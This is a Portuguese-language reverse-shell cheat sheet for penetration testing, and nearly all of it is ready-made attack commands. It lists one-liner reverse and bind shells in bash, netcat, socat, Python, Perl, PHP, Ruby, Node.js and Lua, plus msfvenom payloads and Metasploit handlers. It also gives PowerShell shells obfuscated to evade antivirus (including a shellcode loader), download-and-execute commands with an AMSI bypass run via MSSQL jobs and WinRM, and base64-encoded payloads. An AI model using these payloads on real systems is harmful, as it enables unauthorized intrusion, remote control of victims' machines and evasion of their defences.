Reverse Shell

Caso precise, no Kali vem alguns WebShell disponíveis em /usr/share/webshells/. Sempre quando for executar uma shell reversa no Burp Suite e pressione CTRL+U para encodar o payload.

Reverse Shell x Bind Shell

Apesar de ambos terem o mesmo objetivo, a forma de realizar a conexão é tem uma pequena diferença, a direção de acesso. No Blind Shell, o host alvo irá abrir uma porta para o atacante se conectar, já no Reverse Shell, é o host atacante quem abre uma porta e faz com que o host alvo se conecte nela.

Melhorando o Visual da Shell

Devido a muitas vezes conseguirmos pegar uma shell que não possui um bom retorno, funcionalidades como vi não funcionam, CTRL+C encerra a sessão, não temos histórico de comandos, etc, por isso devemos deixar nossa shell mais estável.

# Dentro da shell reversa
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z

# Agora já no terminal do atacante
stty raw -echo

# Quando digitar esse comando, não irá aparecer o que está digitando, mas continue mesmo assim
fg
ENTER (2x)


# Dentro da shell reversa
reset
export SHELL=bash
export TERM=xterm-256color

# No terminal do host (fora da reverse shell) maximize o terminal e veja os valores de "rows" e "columns" com o comando
stty -a

# Agora volte para o terminal da reverse shell e defina "rows" e "columns" com o mesmo valor retornado no comando acima
stty rows <num> columns <cols>

Mais comandos para Spawning TTY

# Estes continuam com problemas de `CTRL`+`C` e histórico de comandos
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')


/bin/sh -i
/bin/bash -i
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')

# Dentro do IRB
exec "/bin/sh"

# Dentro do vi
:!bash

# Dentro do vi
:set shell=/bin/bash:shell

# Dentro do nmap
!sh

rlwrap

Deixa o netcat mais estável

rlwrap nc -nlvp <port>

Meterpreter

Caso tenha conseguido alguma shell no host alvo e não seja o Meterpreter, utilize o comando abaixo para atualizar sua shell para o Meterpreter:

sessions -u <session_id>

Msfvenom

Existem 2 tipos de Reverse Shell que pode ser feita com o msfvenom: staged = Esta divide o payload em pequenos pedaços. O Meterpreter em si é uma shell em etapas, primeiro ele envia algumas partes para configurar a conexão e depois envia um pouco mais. Este não pode ser acessado pelo Netcat. non-staged = Já este é enviado em blocos e pode ser executado tanto no Metasploit quanto no Netcat

Stage Payload

msfvenom -p windows/shell/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o <file.exe>

msfconsole
use exploit/multi/handler
set payload windows/shell/reverse_tcp

OBS.: Utilize o Meterpreter, caso achar necessário

Non-Stage Payload

msfvenom -p windows/shell_reverse_tcp LHOST=<port> LPORT=<port> -f exe -o <file.exe>

PHP (Web-Shell)

Esse php-shell é independente do sistema operacional. Você pode usá-lo no Linux e no Windows.

msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.php
msfvenom -p php/reverse_php LHOST=<ip> LPORT=<port> -f raw > shell.php

ASP (Web-Shell)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f asp > shell.asp

OBS.: Altere de asp para aspx caso seja necessário

War (Web-Shell)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > shell.war

JSP (Web-Shell)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -o shell.jsp

OS

Executando um comandos no SO

msfvenom -p windows/exec CMD=<command> -f exe -o <output.exe>

Villain

Abre uma Reverse Shell que aceita múltiplas conexões, gerando assim várias sessões que podem ser acessadas a qualquer momento. Para gerar o payload, utilize o comando abaixo e execute a saída do comando no host alvo. Quando a vítima executar o comando, será aberta a sessão no próprio Villian

generate os=<windows|linux> lhost=<interface_rede> obfuscate

Para visualizar as sessões que estão ativas, execute:

sessions

Para acessar uma determinada sessão, execute:

shell <session_id>

Curl

Este não é de fato o responsável pelo Shell Reverso, mas com ele é possível baixar e executar determinado arquivo com o comando abaixo:

source <(curl -s http://<ip_atacante>/<shell.py>)

Bash TCP

bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1
echo < /dev/tcp/<ip>/<port> | bash
bash -c 'bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1'
0<&196;exec 196<>/dev/tcp/<ip_atacante>/<port>; sh <&196 >&196 2>&196

Bash UDP

sh -i >& /dev/udp/<ip_atacante>/<port> 0>&1

# Execução na máquina atacante
nc -u -lvp <port>

Windows

msfvenom

Criando executável

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip_atacante> LPORT=<port> -f exe -o <file.exe>

Deixe o Netcat em modo listener com o comando abaixo e execute o executável gerado com o comando acima no Windows.

nc -nlvp <port>

Bypass Powershell

Primeiro execute o código abaixo para deixarmos o Metasploit no modo listener

msfconsole -x "set LHOST <IP>; set LPORT <PORT>; use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set EnableStageEncoding true; set StageEncoder x86/xor_dynamic; run"

Execute o script abaixo na máquina alvo

$ip = "<ip_atacante>"; $port = <port>; $c = @"
[D#ll#Imp#ort("ker#ne#l32.#dll")] publi#c static e#xtern In#tPtr Virt#ualAl#loc(Int#Ptr w, ui#nt x, ui#nt y, ui#nt z);
[Dl#lI##mpor#t("kern#el32.d#ll")] pub#lic st#atic ex#tern Int#Ptr Cr#eate#Thr#ead(Int#Ptr u, u#int v, IntP#tr w, Int#Ptr x, ui#nt y, IntPtr z);
"@.replace("#", "")
try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect($ip, $port) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400;  Start-Sleep -Second 86400; Start-Sleep -Second 86400; Start-Sleep -Second 86400}catch{}

Abaixo segue outras maneiras, que podem ser porém utilizando o netcat como listener

Set-Alias -Name K -Value Out-String
Set-Alias -Name nothingHere -Value iex
$BT = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$replace = $BT.GetStream();
[byte[]]$B = 0..(32768*2-1)|%{0};
$B = ([text.encoding]::UTF8).GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$replace.Write($B,0,$B.Length)
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$replace.Write($B,0,$B.Length)
[byte[]]$int = 0..(10000+55535)|%{0};
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);
$I = (nothingHere $ROM 2>&1 | K );
$I2  = $I + (pwd).Path + '> ';
$U = [text.encoding]::ASCII.GetBytes($I2);
$replace.Write($U,0,$U.Length);
$replace.Flush()};
$BT.Close()

$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$SS = $J.GetStream();
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
$OO = ([text.encoding]::UTF8).GetBytes("Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n")
$SS.Write($OO,0,$OO.Length)
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + '>')
$SS.Write($OO,0,$OO.Length)
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);
$GG = (i`eX $DD 2>&1 | Out-String );
$H  = $GG + (pwd).Path + '> ';
$L = ([text.encoding]::UTF8).GetBytes($H);
$SS.Write($L,0,$L.Length);
$SS.Flush()};
$J.Close()

$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$I = $c.GetStream();
[byte[]]$U = 0..(2-shl15)|%{0};
$U = ([text.encoding]::ASCII).GetBytes("Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n")
$I.Write($U,0,$U.Length)
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$I.Write($U,0,$U.Length)
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);
$a = (iex $D 2>&1 | Out-String );
$r  = $a + (pwd).Path + '> ';
$m = ([text.encoding]::ASCII).GetBytes($r);
$I.Write($m,0,$m.Length);
$I.Flush()};
$c.Close()

Linux

Binário

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell.elf

Bash

bash -i >& /dev/tcp/<ip>/<port> 0>&1
bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1"
/bin/sh -c "nc -e /bin/sh <ip_atacante> <port>"

FreeBSD

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ip> <port> > /tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |telnet <ip> <port> > /tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc <ip> <port> > /tmp/f

Netcat

Bind Shell

# Alvo Linux
nc -lvp <port> -e /bin/bash

# Alvo Windows
nc.exe -nlvp <port> -e cmd.exe

# Atacante
nc -v <ip> <port>

Reverse Shell

# Linux
nc <ip> <port> -e /bin/bash
nc -c bash <ip> <port>

nc -lvp <port>

# Windows
nc -lvp 443
nc.exe -v <ip> 443 -e cmd.exe

# MacOS
exec 3> >(nc <ip> <port>)

Com Flag -e

nc -e /bin/sh <ip> <port>
# Ou
/bin/sh | nc <ip> <port>

Sem Flag -e

Nem toda versão do Netcat tem a opção -e

rm -f /tmp/p; mknod /tmp/p p && nc <ip> <port> 0/tmp/p
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f

Salvando a saída

Útil para estudar quais comandos o atacante está utilizando.

# Alvo
nc -lnvp <port> -o <output.txt>

# Atacante
nc <ip> <port>

Executando comando (não interativo)

# Alvo
<command> | nc <ip_hacker> <port>

# Atacante
nc -lvnp <port>

NOTA: Acima vimos exemplos onde executamos um comando no host alvo e enviamos a saída do comando para o host atacante. Isso é útil quando executamos o netcat, criamos uma conexão porém não conseguimos executar comandos. Caso queria, adicione o parâmetro -k (keep alive) no comando nc do host atacante para manter a conexão aberta enquanto recebe a saída dos comandos.

Ncat

Bind

ncat --exec cmd.exe --allow <ip> -vnl <port> --ssl
ncat -v <ip> <port> --ssl

Socat

Abaixo possui um site para baixar o código do socat (caso a vítima não tenha instalado) e, assim que definir qual a arquitetura correta, execute como no comando abaixo:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

DICA: Todos os exemplos abaixo estão utilizando o protocolo TCP, porém podemos utilizar UDP, apena susbstituindo onde está escrito TCP para UDP. Note também que os parâmetros do socat são case-insensitive.

Método 1

# Alvo
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip_atacante>:<port>

# Atacante
socat file:`tty`,raw,echo=0 tcp-listen:<port>

Método 2

# Atacante
socat - tcp4-listen:<port>

# Alvo
nc -nv <ip_atacante> <port> -e /bin/bash

Método 3

# Atacante
nc -vlnp <port> -e /bin/bash 

# Alvo
socat - tcp4:<ip>:<port>

Método 4

# Atacante
nc -vnlp <port> 

# Alvo
socat tcp4:<ip>:<port> EXEC:/bin/bash

Método 5

# Alvo
socat TCP-LISTEN:<port>,reuseaddr,pf=ip4,fork -

# Atacante
socat TCP:127.0.0.1:4000 -

Método 6

# Alvo
socat UNIX-LISTEN:./mysther.sock,fork -

# Atacante
socat UNIX-CONNECT:./mysther.sock -

Método 7

# Alvo
socat tcp-l:<port>,fork system:/bin/bash

# Atacante
socat - TCP:<ip>:<port>

Perl

# Linux
perl -e 'use Socket;$i="<ip_atacante>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"<ip>:<port>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python 2.7

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_atacente>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Python 3

# Execução na máquina alvo
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_atacante>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

# Execução na máquina atacante
nc -lvp <port>

OBS.: Caso não consiga utilizar comandos dentro do eval como import os, substitua por __import__('os').system('whoami')

PHP

# Host alvo
exec("/bin/bash -c 'bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1'");

system("0<&196;exec 196<>/dev/tcp/<ip_atacante>/<port>; sh <&196 >&196 2>&196")

# Host atacante
nc -lvp <port>

Metasploit

# Host alvo. Se não funcionar, tente com 4, 5 ou 6
php -r '$sock=fsockopen("<ip_atacante>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

# Host atacante
msfconsole -q
use exploit/multi/handler
set payload php/reverse_php
set LHOST <ip_atacante>
exploit

Ruby

ruby -rsocket -e'f=TCPSocket.open("<ip_atacante>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PowerShell (Invoke-PowerShell)

Insira no final do arquivo (Pesquisar se o arquivo está em ou baixar no Git).

Encontre o arquivo Invoke-PowerShellTcp.ps1 (geralmente está em /usr/share/nishang/Shells), copie para seu diretório atual (para manter o arquivo original) e insira a seguinte linha no final do arquivo:

Invoke-PowerShellTcp -Reverse -IPAddress <ip_atacante> -Port <port>

Em outro terminal, deixe o arquivo disponível para o alvo com o comando python -m SimpleHTTPServer

# Máquina Alvo
IEX(New-Object Net.WebClient).downloadString('http://<site.com>/<shell.ps1>')

# Máquina Atacante
nv -lvp <port>

OBS.: Veja nos sites abaixo, uma lista de shell para PowerShell

Powershell (msfvenom)

Crie o Payload com o comando abaixo

sudo msfvenom --payload windows/x86/meterpreter_reverse_tcp --format psh --out out.ps1 LHOST=<ip_atacante> LPORT=<port>

Agora digite os seguintes comandos:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set LPORT <port>
exploit

Execute na máquina alvo com o comando iex (vide página de Powershell)

PowerShell (Manual)

Note que em alguns momentos (aqui e em outros exemplos) estamos utilizando o parâmetro -nop do powershell, que é uma abreviação de -NoProfile. Isso instrui o Powershell a não carregar o perfil de usuário. Quando o PowerShell é iniciado, por padrão, ele carrega os scripts de perfil de qualquer usuário existente, o que pode afetar negativamente a execução do nosso código. Essa opção evitará esse possível problema.

# Execute no host alvo
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Execute no host atacante
nc -lvp <port>

Microsoft SQL Server (MSSQL)

USE msdb;EXEC msdb.dbo.sp_delete_job @job_name = N'PowershellExec';EXEC dbo.sp_add_job @job_name = N'PowershellExec';EXEC sp_add_jobstep @job_name = N'PowershellExec', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell -noexit -c "iex (iwr -UseBasicParsing http://<ip>:<port>/amsibypass)"', @retry_attempts = 1, @retry_interval = 5;EXEC dbo.sp_add_jobserver @job_name = N'PowershellExec';EXEC dbo.sp_start_job N'PowershellExec'

WinRM (Autenticado)

$passwd = ConvertTo-SecureString '<pass>' -AsPlainText -Force
creds = New-Object System.Management.Automation.PSCredential ("<domain>\<user>", $passwd)
server = New-PSSession <ip> -Credential $creds ; Invoke-Command -ScriptBlock{iex (iwr -UseBasicParsing http://<ip>/amsibypass) ; iex (iwr -UseBasicParsing http://<ip>/payload.ps1)} -Session $server

Base64 Encoding

Primeiro vamos encodar nosso payload. Como exemplo vamos pegar o reverse shell em bash, mas pode ser qualquer outro

echo 'bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1' | base64

Agora pegue o resultado do comando acima para montar o comando o abaixo

echo <base64>|base64 -d|bash

VILLAIN

Abre uma Reverse Shell que aceita múltiplas conexões, gerando assim várias sessões que podem ser acessadas a qualquer momento. Para gerar o payload, utilize o comando abaixo e execute a saída do comando no host alvo. Quando a vítima executar o comando, será aberta a sessão no próprio Villian

generate os=<windows|linux> lhost=<interface_rede> obfuscate

Para visualizar as sessões que estão ativas, execute:

sessions

Para acessar uma determinada sessão, execute:

shell <session_id>

NodeJS

# Execução na máquina alvo
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "<ip_atacante>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

# Execução na máquina atacante
nc -lvp 8080

LUA

# Somente em Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('<ip_atacante>','<port>');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Xterm

# O seguinte comando deve ser executado no alvo. Ele tentará se conectar de volta a você na porta TCP 6001
xterm -display <ip_atacante>:1

# Inicie um X-Server (: 1 - que escuta na porta TCP 6001), usando o Xnest no IP do atacante
Xnest :1

# Agora autorize o destino a se conectar a você (IP do atacante)
xhost +targetip

PHP

Crie o Payload com o comando

sudo msfvenom -p php/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> -f raw

Será mostrado na tela o código, onde deverá ser enviado para o alvo web.

Agora digite os seguintes comandos:

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set LHOST <port>
exploit -j -Z

JAVA

# Use netcat para pegar a shell
sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > <file.war>

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

# Ou
Runtime run = Runtime.getRuntime();
String[] commands = new String[] { "/usr/bin/nc", "-l","-p", "<port>", "-e", "/bin/sh" };
run.exec(<command>);

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet <ip> <port> 0/tmp/p
telnet <ip> <port> | /bin/bash | telnet <ip> <other_port>

Gawk

#!/usr/bin/gawk -f
BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

Sites

# Diversas Shells
https://highon.coffee/blog/reverse-shell-cheat-sheet/

# Bypass para Reverse Shell em Windows
https://github.com/tihanyin/PSSW100AVB

# Reverse Shell com Bypass do Windows Defender
https://github.com/t3l3machus/hoaxshell

# Villain
https://github.com/t3l3machus/Villain.git

# Webshell PHP
https://github.com/Arrexel/phpbash

# Scripts para deixar a shell Python interativa
https://github.com/infodox/python-pty-shells.git

# Código para executar o socat (caso não tenha instalado)
https://github.com/andrew-d/static-binaries

# Modos de deixar o shell com melhor interatividade e estabilidade
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

# Mascarando o IP em octal. Útil para shell reversa ou transferir arquivos.
https://www.browserling.com/tools/ip-to-oct

# PowerShell
https://github.com/samratashok/nishang.git
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet  
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md